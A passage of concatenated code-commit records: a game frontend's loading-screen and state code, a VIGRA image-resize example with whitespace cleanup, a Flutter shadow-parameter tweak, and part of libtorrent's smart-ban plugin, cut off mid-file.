* else. For now we'll just keep\n * things fixed and worry about this\n * later. *\/\n\nstatic void DrawLoadingScreen() {\n  plDrawTexturedRectangle(0, 0, frontend_width, frontend_height, fe_background);\n\n  \/* originally I wrote some code ensuring the menu bar\n   * was centered... that was until I found out that on\n   * the background, the slot for the bar ISN'T centered\n   * at all. JOY... *\/\n  static const int bar_w = 330;\n  int bar_x = 151; \/\/c_x + (FRONTEND_MENU_WIDTH \/ 2) - bar_w \/ 2;\n  int bar_y = 450;\n  if (loading_progress > 0) {\n    plDrawFilledRectangle(plCreateRectangle(\n        PLVector2(bar_x, bar_y),\n        PLVector2(((float) (bar_w) \/ 100) * loading_progress, 18),\n        PL_COLOUR_INDIAN_RED,\n        PL_COLOUR_INDIAN_RED,\n        PL_COLOUR_RED,\n        PL_COLOUR_RED\n    ));\n  }\n\n  if (loading_description[0] != ' ' && loading_description[0] != '\\0') {\n    Font_DrawBitmapString(g_fonts[FONT_CHARS2], bar_x + 2, bar_y + 1, 4, 1.f, PL_COLOUR_WHITE, loading_description);\n  }\n}\n\nvoid FE_Draw(void) {\n  frontend_width = Display_GetViewportWidth(&g_state.ui_camera->viewport);\n  frontend_height = Display_GetViewportHeight(&g_state.ui_camera->viewport);\n\n  \/* render and handle the main menu *\/\n  if (frontend_state != FE_MODE_GAME) { \/\/ todo: what's going on here... ?\n    switch (frontend_state) {\n      default:break;\n\n      case FE_MODE_INIT:\n      case FE_MODE_START:\n      case FE_MODE_MAIN_MENU:\n        plDrawTexturedRectangle(0, 0, frontend_width, frontend_height, fe_background);\n        break;\n\n      case FE_MODE_LOADING:\n        DrawLoadingScreen();\n        break;\n\n      case FE_MODE_VIDEO:\n        Video_Draw();\n        break;\n    }\n\n    return;\n  }\n\n  DrawMinimap();\n  DrawTimer();\n}\n\n\/* * * * * * * * * * * * * * * * * * * * * * *\/\n\nvoid FE_RestoreLastState(void) {\n  FrontEnd_SetState(old_frontend_state);\n}\n\nunsigned int FrontEnd_GetState(void) {\n  return frontend_state;\n}\n\nvoid FrontEnd_SetState(unsigned int state) {\n  if (state == frontend_state) {\n    LogDebug(\"attempted to set debug state to an already existing state!\\n\");\n    return;\n  }\n\n  LogDebug(\"changing frontend state to %u...\\n\", state);\n  switch (state) {\n    default: {\n      LogWarn(\"invalid frontend state, %u, aborting\\n\", state);\n      return;\n    }\n\n    case FE_MODE_MAIN_MENU:\n      \/\/ start playing the default theme\n      Engine::Audio()->PlayMusic(AUDIO_MUSIC_MENU);\n      break;\n\n    case FE_MODE_START: break;\n\n    case FE_MODE_GAME: {\n      \/\/ game mode handles music from here?\n    }\n      break;\n\n    case FE_MODE_LOADING: {\n      \/\/ stop the music as soon as we switch to a loading screen...\n      Engine::Audio()->StopMusic();\n\n      loading_description[0] = '\\0';\n      loading_progress = 0;\n      break;\n    }\n\n    case FE_MODE_EDITOR: break;\n  }\n  old_frontend_state = frontend_state;\n  frontend_state = state;\n\n  \/* !!hacky!! force the display to update due to aspect change, yeah this is gross... *\/\n  Display_UpdateViewport(0, 0, cv_display_width->i_value, cv_display_height->i_value);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/************************************************************************\/\n\/*                                                                      *\/\n\/*               Copyright 1998-2002 by Ullrich Koethe                  *\/\n\/*                                                                      *\/\n\/*    This file is part of the VIGRA computer vision library.           *\/\n\/*    The VIGRA Website is                                              *\/\n\/*        http:\/\/hci.iwr.uni-heidelberg.de\/vigra\/                       *\/\n\/*    Please direct questions, bug reports, and contributions to        *\/\n\/*        ullrich.koethe@iwr.uni-heidelberg.de    or                    *\/\n\/*        vigra@informatik.uni-hamburg.de                               *\/\n\/*                                                                      *\/\n\/*    Permission is hereby granted, free of charge, to any person       *\/\n\/*    obtaining a copy of this software and associated documentation    *\/\n\/*    files (the \"Software\"), to deal in the Software without           *\/\n\/*    restriction, including without limitation the rights to use,      *\/\n\/*    copy, modify, merge, publish, distribute, sublicense, and\/or      *\/\n\/*    sell copies of the Software, and to permit persons to whom the    *\/\n\/*    Software is furnished to do so, subject to the following          *\/\n\/*    conditions:                                                       *\/\n\/*                                                                      *\/\n\/*    The above copyright notice and this permission notice shall be    *\/\n\/*    included in all copies or substantial portions of the             *\/\n\/*    Software.                                                         *\/\n\/*                                                                      *\/\n\/*    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND    *\/\n\/*    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES   *\/\n\/*    OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND          *\/\n\/*    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT       *\/\n\/*    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,      *\/\n\/*    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING      *\/\n\/*    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR     *\/\n\/*    OTHER DEALINGS IN THE SOFTWARE.                                   *\/                \n\/*                                                                      *\/\n\/************************************************************************\/\n \n\n#include <iostream>\n#include \"vigra\/stdimage.hxx\"\n#include \"vigra\/resizeimage.hxx\"\n#include \"vigra\/impex.hxx\"\n\nusing namespace vigra; \n\nint main(int argc, char ** argv)\n{\n    if(argc != 3)\n    {\n        std::cout << \"Usage: \" << argv[0] << \" infile outfile\" << std::endl;\n        std::cout << \"(supported formats: \" << vigra::impexListFormats() << \")\" << std::endl;\n        \n        return 1;\n    }\n    \n    try\n    {\n        \/\/ read image given as first argument\n        \/\/ file type is determined automatically\n        vigra::ImageImportInfo info(argv[1]);\n        \n        double sizefactor;\n        std::cerr << \"Resize factor ? \";\n        std::cin >> sizefactor;\n        int method;\n        std::cerr << \"Method (0 - pixel repetition, 1 - linear, 2 - spline ? \";\n        std::cin >> method;\n        \n        \/\/ calculate new image size\n        int nw = (int)(sizefactor*(info.width()-1) + 1.5);\n        int nh = (int)(sizefactor*(info.height()-1) + 1.5);\n        \n        if(info.isGrayscale())\n        {\n            \/\/ create a gray scale image of appropriate size\n            vigra::BImage in(info.width(), info.height());\n            vigra::BImage out(nw, nh);\n            \n            \/\/ import the image just read\n            importImage(info, destImage(in));\n            \n            switch(method)\n            {\n              case 0:\n                \/\/ resize the image, using a bi-cubic spline algorithms\n                resizeImageNoInterpolation(srcImageRange(in), \n                    destImageRange(out));\n                break;\n              case 1:\n                \/\/ resize the image, using a bi-cubic spline algorithms\n                resizeImageLinearInterpolation(srcImageRange(in), \n                    destImageRange(out));\n                break;\n              default:\n                \/\/ resize the image, using a bi-cubic spline algorithms\n                resizeImageSplineInterpolation(srcImageRange(in), \n                    destImageRange(out));\n            }\n\n            \/\/ write the image to the file given as second argument\n            \/\/ the file type will be determined from the file name's extension\n            exportImage(srcImageRange(out), vigra::ImageExportInfo(argv[2]));\n        }\n        else\n        {\n            \/\/ create a RGB image of appropriate size\n            vigra::BRGBImage in(info.width(), info.height());\n            vigra::BRGBImage out(nw, nh);\n            \n            \/\/ import the image just read\n            importImage(info, destImage(in));\n            \n            switch(method)\n            {\n              case 0:\n                \/\/ resize the image, using a bi-cubic spline algorithms\n                resizeImageNoInterpolation(srcImageRange(in), \n                    destImageRange(out));\n                break;\n              case 1:\n                \/\/ resize the image, using a bi-cubic spline algorithms\n                resizeImageLinearInterpolation(srcImageRange(in), \n                    destImageRange(out));\n                break;\n              default:\n                \/\/ resize the image, using a bi-cubic spline algorithms\n                resizeImageSplineInterpolation(srcImageRange(in), \n                    destImageRange(out));\n            }\n            \n            \/\/ write the image to the file given as second argument\n            \/\/ the file type will be determined from the file name's extension\n            exportImage(srcImageRange(out), vigra::ImageExportInfo(argv[2]));\n        }\n    }\n    catch (vigra::StdException & e)\n    {\n        \/\/ catch any errors that might have occurred and print their reason\n        std::cout << e.what() << std::endl;\n        return 1;\n    }\n    \n    return 0;\n}\n<commit_msg>resize example: whitespace cleanups<commit_after>\/************************************************************************\/\n\/*                                                                      *\/\n\/*               Copyright 1998-2002 by Ullrich Koethe                  *\/\n\/*                                                                      *\/\n\/*    This file is part of the VIGRA computer vision library.           *\/\n\/*    The VIGRA Website is                                              *\/\n\/*        http:\/\/hci.iwr.uni-heidelberg.de\/vigra\/                       *\/\n\/*    Please direct questions, bug reports, and contributions to        *\/\n\/*        ullrich.koethe@iwr.uni-heidelberg.de    or                    *\/\n\/*        vigra@informatik.uni-hamburg.de                               *\/\n\/*                                                                      *\/\n\/*    Permission is hereby granted, free of charge, to any person       *\/\n\/*    obtaining a copy of this software and associated documentation    *\/\n\/*    files (the \"Software\"), to deal in the Software without           *\/\n\/*    restriction, including without limitation the rights to use,      *\/\n\/*    copy, modify, merge, publish, distribute, sublicense, and\/or      *\/\n\/*    sell copies of the Software, and to permit persons to whom the    *\/\n\/*    Software is furnished to do so, subject to the following          *\/\n\/*    conditions:                                                       *\/\n\/*                                                                      *\/\n\/*    The above copyright notice and this permission notice shall be    *\/\n\/*    included in all copies or substantial portions of the             *\/\n\/*    Software.                                                         *\/\n\/*                                                                      *\/\n\/*    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND    *\/\n\/*    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES   *\/\n\/*    OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND          *\/\n\/*    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT       *\/\n\/*    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,      *\/\n\/*    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING      *\/\n\/*    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR     *\/\n\/*    OTHER DEALINGS IN THE SOFTWARE.                                   *\/\n\/*                                                                      *\/\n\/************************************************************************\/\n\n\n#include <iostream>\n#include \"vigra\/stdimage.hxx\"\n#include \"vigra\/resizeimage.hxx\"\n#include \"vigra\/impex.hxx\"\n\nusing namespace vigra;\n\nint main(int argc, char ** argv)\n{\n    if(argc != 3)\n    {\n        std::cout << \"Usage: \" << argv[0] << \" infile outfile\" << std::endl;\n        std::cout << \"(supported formats: \" << vigra::impexListFormats() << \")\" << std::endl;\n\n        return 1;\n    }\n\n    try\n    {\n        \/\/ read image given as first argument\n        \/\/ file type is determined automatically\n        vigra::ImageImportInfo info(argv[1]);\n\n        double sizefactor;\n        std::cerr << \"Resize factor ? \";\n        std::cin >> sizefactor;\n        int method;\n        std::cerr << \"Method (0 - pixel repetition, 1 - linear, 2 - spline ? \";\n        std::cin >> method;\n\n        \/\/ calculate new image size\n        int nw = (int)(sizefactor*(info.width()-1) + 1.5);\n        int nh = (int)(sizefactor*(info.height()-1) + 1.5);\n\n        if(info.isGrayscale())\n        {\n            \/\/ create a gray scale image of appropriate size\n            vigra::BImage in(info.width(), info.height());\n            vigra::BImage out(nw, nh);\n\n            \/\/ import the image just read\n            importImage(info, destImage(in));\n\n            switch(method)\n            {\n              case 0:\n                \/\/ resize the image, using a bi-cubic spline algorithms\n                resizeImageNoInterpolation(srcImageRange(in),\n                    destImageRange(out));\n                break;\n              case 1:\n                \/\/ resize the image, using a bi-cubic spline algorithms\n                resizeImageLinearInterpolation(srcImageRange(in),\n                    destImageRange(out));\n                break;\n              default:\n                \/\/ resize the image, using a bi-cubic spline algorithms\n                resizeImageSplineInterpolation(srcImageRange(in),\n                    destImageRange(out));\n            }\n\n            \/\/ write the image to the file given as second argument\n            \/\/ the file type will be determined from the file name's extension\n            exportImage(srcImageRange(out), vigra::ImageExportInfo(argv[2]));\n        }\n        else\n        {\n            \/\/ create a RGB image of appropriate size\n            vigra::BRGBImage in(info.width(), info.height());\n            vigra::BRGBImage out(nw, nh);\n\n            \/\/ import the image just read\n            importImage(info, destImage(in));\n\n            switch(method)\n            {\n              case 0:\n                \/\/ resize the image, using a bi-cubic spline algorithms\n                resizeImageNoInterpolation(srcImageRange(in),\n                    destImageRange(out));\n                break;\n              case 1:\n                \/\/ resize the image, using a bi-cubic spline algorithms\n                resizeImageLinearInterpolation(srcImageRange(in),\n                    destImageRange(out));\n                break;\n              default:\n                \/\/ resize the image, using a bi-cubic spline algorithms\n                resizeImageSplineInterpolation(srcImageRange(in),\n                    destImageRange(out));\n            }\n\n            \/\/ write the image to the file given as second argument\n            \/\/ the file type will be determined from the file name's extension\n            exportImage(srcImageRange(out), vigra::ImageExportInfo(argv[2]));\n        }\n    }\n    catch (vigra::StdException & e)\n    {\n        \/\/ catch any errors that might have occurred and print their reason\n        std::cout << e.what() << std::endl;\n        return 1;\n    }\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2017 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"flutter\/flow\/layers\/physical_model_layer.h\"\n\n#include \"third_party\/skia\/include\/utils\/SkShadowUtils.h\"\n\n#if defined(OS_FUCHSIA)\n#include \"apps\/mozart\/lib\/skia\/type_converters.h\"\n#include \"apps\/mozart\/services\/composition\/nodes.fidl.h\"\n#endif  \/\/ defined(OS_FUCHSIA)\n\nnamespace flow {\n\nPhysicalModelLayer::PhysicalModelLayer()\n    : rrect_(SkRRect::MakeEmpty()) {}\n\nPhysicalModelLayer::~PhysicalModelLayer() {}\n\nvoid PhysicalModelLayer::Preroll(PrerollContext* context, const SkMatrix& matrix) {\n  PrerollChildren(context, matrix);\n\n  \/\/ Add some margin to the paint bounds to leave space for the shadow.\n  \/\/ The margin is hardcoded to an arbitrary maximum for now because Skia\n  \/\/ doesn't provide a way to calculate it.\n  SkRect bounds(rrect_.getBounds());\n  bounds.outset(50.0, 50.0);\n  set_paint_bounds(bounds);\n\n  context->child_paint_bounds = bounds;\n}\n\n#if defined(OS_FUCHSIA)\n\nvoid PhysicalModelLayer::UpdateScene(SceneUpdateContext& context,\n                                     mozart::Node* container) {\n  context.AddLayerToCurrentPaintTask(this);\n  auto node = mozart::Node::New();\n  node->content_clip = mozart::RectF::From(rrect_.getBounds());\n  UpdateSceneChildrenInsideNode(context, container, std::move(node));\n}\n\n#endif  \/\/ defined(OS_FUCHSIA)\n\nvoid PhysicalModelLayer::Paint(PaintContext& context) {\n  TRACE_EVENT0(\"flutter\", \"PhysicalModelLayer::Paint\");\n\n  SkPath path;\n  path.addRRect(rrect_);\n\n  if (elevation_ != 0) {\n    DrawShadow(&context.canvas, path, SK_ColorBLACK, elevation_,\n               SkColorGetA(color_) != 0xff);\n  }\n\n  if (needs_system_composite())\n    return;\n\n  SkPaint paint;\n  paint.setColor(color_);\n  context.canvas.drawPath(path, paint);\n\n  SkAutoCanvasRestore save(&context.canvas, false);\n  if (rrect_.isRect()) {\n    context.canvas.save();\n  } else {\n    context.canvas.saveLayer(&rrect_.getBounds(), nullptr);\n  }\n  context.canvas.clipRRect(rrect_, true);\n  PaintChildren(context);\n}\n\nvoid PhysicalModelLayer::DrawShadow(SkCanvas* canvas, const SkPath& path,\n                                    SkColor color, int elevation,\n                                    bool transparentOccluder) {\n    SkShadowFlags flags = transparentOccluder ?\n        SkShadowFlags::kTransparentOccluder_ShadowFlag :\n        SkShadowFlags::kNone_ShadowFlag;\n    SkShadowUtils::DrawShadow(canvas, path,\n                              elevation * 4,\n                              SkPoint3::Make(0.0f, -700.0f, 2800.0f),\n                              2800.0f,\n                              0.25f, 0.25f,\n                              color,\n                              flags);\n}\n\n}  \/\/ namespace flow\n<commit_msg>Improve the shadow drawing parameters (#3499)<commit_after>\/\/ Copyright 2017 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"flutter\/flow\/layers\/physical_model_layer.h\"\n\n#include \"third_party\/skia\/include\/utils\/SkShadowUtils.h\"\n\n#if defined(OS_FUCHSIA)\n#include \"apps\/mozart\/lib\/skia\/type_converters.h\"\n#include \"apps\/mozart\/services\/composition\/nodes.fidl.h\"\n#endif  \/\/ defined(OS_FUCHSIA)\n\nnamespace flow {\n\nPhysicalModelLayer::PhysicalModelLayer()\n    : rrect_(SkRRect::MakeEmpty()) {}\n\nPhysicalModelLayer::~PhysicalModelLayer() {}\n\nvoid PhysicalModelLayer::Preroll(PrerollContext* context, const SkMatrix& matrix) {\n  PrerollChildren(context, matrix);\n\n  \/\/ Add some margin to the paint bounds to leave space for the shadow.\n  \/\/ The margin is hardcoded to an arbitrary maximum for now because Skia\n  \/\/ doesn't provide a way to calculate it.\n  SkRect bounds(rrect_.getBounds());\n  bounds.outset(50.0, 50.0);\n  set_paint_bounds(bounds);\n\n  context->child_paint_bounds = bounds;\n}\n\n#if defined(OS_FUCHSIA)\n\nvoid PhysicalModelLayer::UpdateScene(SceneUpdateContext& context,\n                                     mozart::Node* container) {\n  context.AddLayerToCurrentPaintTask(this);\n  auto node = mozart::Node::New();\n  node->content_clip = mozart::RectF::From(rrect_.getBounds());\n  UpdateSceneChildrenInsideNode(context, container, std::move(node));\n}\n\n#endif  \/\/ defined(OS_FUCHSIA)\n\nvoid PhysicalModelLayer::Paint(PaintContext& context) {\n  TRACE_EVENT0(\"flutter\", \"PhysicalModelLayer::Paint\");\n\n  SkPath path;\n  path.addRRect(rrect_);\n\n  if (elevation_ != 0) {\n    DrawShadow(&context.canvas, path, SK_ColorBLACK, elevation_,\n               SkColorGetA(color_) != 0xff);\n  }\n\n  if (needs_system_composite())\n    return;\n\n  SkPaint paint;\n  paint.setColor(color_);\n  context.canvas.drawPath(path, paint);\n\n  SkAutoCanvasRestore save(&context.canvas, false);\n  if (rrect_.isRect()) {\n    context.canvas.save();\n  } else {\n    context.canvas.saveLayer(&rrect_.getBounds(), nullptr);\n  }\n  context.canvas.clipRRect(rrect_, true);\n  PaintChildren(context);\n}\n\nvoid PhysicalModelLayer::DrawShadow(SkCanvas* canvas, const SkPath& path,\n                                    SkColor color, int elevation,\n                                    bool transparentOccluder) {\n    SkShadowFlags flags = transparentOccluder ?\n        SkShadowFlags::kTransparentOccluder_ShadowFlag :\n        SkShadowFlags::kNone_ShadowFlag;\n    SkShadowUtils::DrawShadow(canvas, path,\n                              elevation * 2,\n                              SkPoint3::Make(0.0f, 0.0f, 600.0f),\n                              800.0f,\n                              0.2f, 0.2f,\n                              color,\n                              flags);\n}\n\n}  \/\/ namespace flow\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2007, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"libtorrent\/pch.hpp\"\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/shared_ptr.hpp>\n#include <boost\/enable_shared_from_this.hpp>\n#include <boost\/lexical_cast.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include <vector>\n#include <map>\n#include <utility>\n#include <numeric>\n#include <cstdio>\n\n#include \"libtorrent\/peer_connection.hpp\"\n#include \"libtorrent\/bt_peer_connection.hpp\"\n#include \"libtorrent\/hasher.hpp\"\n#include \"libtorrent\/bencode.hpp\"\n#include \"libtorrent\/torrent.hpp\"\n#include \"libtorrent\/extensions.hpp\"\n#include \"libtorrent\/extensions\/smart_ban.hpp\"\n#include \"libtorrent\/alert_types.hpp\"\n#include \"libtorrent\/disk_io_thread.hpp\"\n#include \"libtorrent\/aux_\/session_impl.hpp\"\n\nnamespace libtorrent { namespace\n{\n\n\tstruct smart_ban_plugin : torrent_plugin, boost::enable_shared_from_this<smart_ban_plugin>\n\t{\n\t\tsmart_ban_plugin(torrent& t)\n\t\t\t: m_torrent(t)\n\t\t\t, m_salt(rand())\n\t\t{\n\t\t}\n\n\t\tvoid on_piece_pass(int p)\n\t\t{\n#ifdef TORRENT_LOGGING\n\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" PIECE PASS [ p: \" << p\n\t\t\t\t<< \" | block_crc_size: \" << m_block_crc.size() << \" ]\\n\";\n#endif\n\t\t\t\/\/ has this piece failed earlier? If it has, go through the\n\t\t\t\/\/ CRCs from the time it failed and ban the peers that\n\t\t\t\/\/ sent bad blocks\n\t\t\tstd::map<piece_block, block_entry>::iterator i = m_block_crc.lower_bound(piece_block(p, 0));\n\t\t\tif (i == m_block_crc.end() || i->first.piece_index != p) return;\n\n\t\t\tint size = m_torrent.torrent_file().piece_size(p);\n\t\t\tpeer_request r = {p, 0, (std::min)(16*1024, size)};\n\t\t\tpiece_block pb(p, 0);\n\t\t\twhile (size > 0)\n\t\t\t{\n\t\t\t\tif (i->first.block_index == pb.block_index)\n\t\t\t\t{\n\t\t\t\t\tm_torrent.filesystem().async_read(r, bind(&smart_ban_plugin::on_read_ok_block\n\t\t\t\t\t\t, shared_from_this(), *i, _1, _2));\n\t\t\t\t\tm_block_crc.erase(i++);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tTORRENT_ASSERT(i->first.block_index > pb.block_index);\n\t\t\t\t}\n\n\t\t\t\tif (i == m_block_crc.end() || i->first.piece_index != p)\n\t\t\t\t\tbreak;\n\n\t\t\t\tr.start += 16*1024;\n\t\t\t\tsize -= 16*1024;\n\t\t\t\tr.length = (std::min)(16*1024, size);\n\t\t\t\t++pb.block_index;\n\t\t\t}\n\n#ifndef NDEBUG\n\t\t\t\/\/ make sure we actually removed all the entries for piece 'p'\n\t\t\ti = m_block_crc.lower_bound(piece_block(p, 0));\n\t\t\tTORRENT_ASSERT(i == m_block_crc.end() || i->first.piece_index != p);\n#endif\n\n\t\t\tif (m_torrent.is_seed())\n\t\t\t{\n\t\t\t\tstd::map<piece_block, block_entry>().swap(m_block_crc);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tvoid on_piece_failed(int p)\n\t\t{\n\t\t\t\/\/ The piece failed the hash check. Record\n\t\t\t\/\/ the CRC and origin peer of every block\n\n\t\t\tstd::vector<void*> downloaders;\n\t\t\tm_torrent.picker().get_downloaders(downloaders, p);\n\n\t\t\tint size = m_torrent.torrent_file().piece_size(p);\n\t\t\tpeer_request r = {p, 0, (std::min)(16*1024, size)};\n\t\t\tpiece_block pb(p, 0);\n\t\t\tfor (std::vector<void*>::iterator i = downloaders.begin()\n\t\t\t\t, end(downloaders.end()); i != end; ++i)\n\t\t\t{\n\t\t\t\tif (*i != 0)\n\t\t\t\t{\n\t\t\t\t\tm_torrent.filesystem().async_read(r, bind(&smart_ban_plugin::on_read_failed_block\n\t\t\t\t\t\t, shared_from_this(), pb, (policy::peer*)*i, _1, _2));\n\t\t\t\t}\n\n\t\t\t\tr.start += 16*1024;\n\t\t\t\tsize -= 16*1024;\n\t\t\t\tr.length = (std::min)(16*1024, size);\n\t\t\t\t++pb.block_index;\n\t\t\t}\n\t\t\tTORRENT_ASSERT(size <= 0);\n\t\t}\n\n\tprivate:\n\n\t\t\/\/ this entry ties a specific block CRC to\n\t\t\/\/ a peer.\n\t\tstruct block_entry\n\t\t{\n\t\t\tpolicy::peer* peer;\n\t\t\tunsigned long crc;\n\t\t};\n\n\t\tvoid on_read_failed_block(piece_block b, policy::peer* p, int ret, disk_io_job const& j)\n\t\t{\n\t\t\tTORRENT_ASSERT(p);\n\t\t\t\/\/ ignore read errors\n\t\t\tif (ret != j.buffer_size) return;\n\n\t\t\tadler32_crc crc;\n\t\t\tcrc.update(j.buffer, j.buffer_size);\n\t\t\tcrc.update((char const*)&m_salt, sizeof(m_salt));\n\n\t\t\tblock_entry e = {p, crc.final()};\n\n\t\t\t\/\/ since this callback is called directory from the disk io\n\t\t\t\/\/ thread, the session mutex is not locked when we get here\n\t\t\taux::session_impl::mutex_t::scoped_lock l(m_torrent.session().m_mutex);\n\t\t\t\n\t\t\tstd::map<piece_block, block_entry>::iterator i = m_block_crc.lower_bound(b);\n\t\t\tif (i != m_block_crc.end() && i->first == b && i->second.peer == p)\n\t\t\t{\n\t\t\t\t\/\/ this peer has sent us this block before\n\t\t\t\tif (i->second.crc != e.crc)\n\t\t\t\t{\n\t\t\t\t\t\/\/ this time the crc of the block is different\n\t\t\t\t\t\/\/ from the first time it sent it\n\t\t\t\t\t\/\/ at least one of them must be bad\n\n\t\t\t\t\tif (p == 0) return;\n\t\t\t\t\tif (!m_torrent.get_policy().has_peer(p)) return;\n\n#ifdef TORRENT_LOGGING\n\t\t\t\t\tchar const* client = \"-\";\n\t\t\t\t\tpeer_info info;\n\t\t\t\t\tif (p->connection)\n\t\t\t\t\t{\n\t\t\t\t\t\tp->connection->get_peer_info(info);\n\t\t\t\t\t\tclient = info.client.c_str();\n\t\t\t\t\t}\n\t\t\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" BANNING PEER [ p: \" << b.piece_index\n\t\t\t\t\t\t<< \" | b: \" << b.block_index\n\t\t\t\t\t\t<< \" | c: \" << client\n\t\t\t\t\t\t<< \" | crc1: \" << i->second.crc\n\t\t\t\t\t\t<< \" | crc2: \" << e.crc\n\t\t\t\t\t\t<< \" | ip: \" << p->ip << \" ]\\n\";\n#endif\n\t\t\t\t\tp->banned = true;\n\t\t\t\t\tif (p->connection) p->connection->disconnect(\"banning peer for sending bad data\");\n\t\t\t\t}\n\t\t\t\t\/\/ we already have this exact entry in the map\n\t\t\t\t\/\/ we don't have to insert it\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tm_block_crc.insert(i, std::make_pair(b, e));\n\n#ifdef TORRENT_LOGGING\n\t\t\tchar const* client = \"-\";\n\t\t\tpeer_info info;\n\t\t\tif (p->connection)\n\t\t\t{\n\t\t\t\tp->connection->get_peer_info(info);\n\t\t\t\tclient = info.client.c_str();\n\t\t\t}\n\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" STORE BLOCK CRC [ p: \" << b.piece_index\n\t\t\t\t<< \" | b: \" << b.block_index\n\t\t\t\t<< \" | c: \" << client\n\t\t\t\t<< \" | crc: \" << e.crc\n\t\t\t\t<< \" | ip: \" << p->ip << \" ]\\n\";\n#endif\n\t\t}\n\t\t\n\t\tvoid on_read_ok_block(std::pair<piece_block, block_entry> b, int ret, disk_io_job const& j)\n\t\t{\n\t\t\t\/\/ since this callback is called directory from the disk io\n\t\t\t\/\/ thread, the session mutex is not locked when we get here\n\t\t\taux::session_impl::mutex_t::scoped_lock l(m_torrent.session().m_mutex);\n\n\t\t\t\/\/ ignore read errors\n\t\t\tif (ret != j.buffer_size) return;\n\n\t\t\tadler32_crc crc;\n\t\t\tcrc.update(j.buffer, j.buffer_size);\n\t\t\tcrc.update((char const*)&m_salt, sizeof(m_salt));\n\t\t\tunsigned long ok_crc = crc.final();\n\n\t\t\tif (b.second.crc == ok_crc) return;\n\n\t\t\tpolicy::peer* p = b.second.peer;\n\n\t\t\tif (p == 0) return;\n\t\t\tif (!m_torrent.get_policy().has_peer(p)) return;\n\n#ifdef TORRENT_LOGGING\n\t\t\tchar const* client = \"-\";\n\t\t\tpeer_info info;\n\t\t\tif (p->connection)\n\t\t\t{\n\t\t\t\tp->connection->get_peer_info(info);\n\t\t\t\tclient = info.client.c_str();\n\t\t\t}\n\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" BANNING PEER [ p: \" << b.first.piece_index\n\t\t\t\t<< \" | b: \" << b.first.block_index\n\t\t\t\t<< \" | c: \" << client\n\t\t\t\t<< \" | ok_crc: \" << ok_crc\n\t\t\t\t<< \" | bad_crc: \" << b.second.crc\n\t\t\t\t<< \" | ip: \" << p->ip << \" ]\\n\";\n#endif\n\t\t\tp->banned = true;\n\t\t\tif (p->connection) p->connection->disconnect(\"banning peer for sending bad data\");\n\t\t}\n\t\t\n\t\ttorrent& m_torrent;\n\n\t\t\/\/ This table maps a piece_block (piece and block index\n\t\t\/\/ pair) to a peer and the block CRC. The CRC is calculated\n\t\t\/\/ from the data in the block + the salt\n\t\tstd::map<piece_block, block_entry> m_block_crc;\n\n\t\t\/\/ This salt is a random value used to calculate the block CRCs\n\t\t\/\/ Since the CRC function that is used is not a one way function\n\t\t\/\/ the salt is required to avoid attacks where bad data is sent\n\t\t\/\/ that is forged to match the CRC of the good data.\n\t\tint m_salt;\n\t};\n\n} }\n\nnamespace 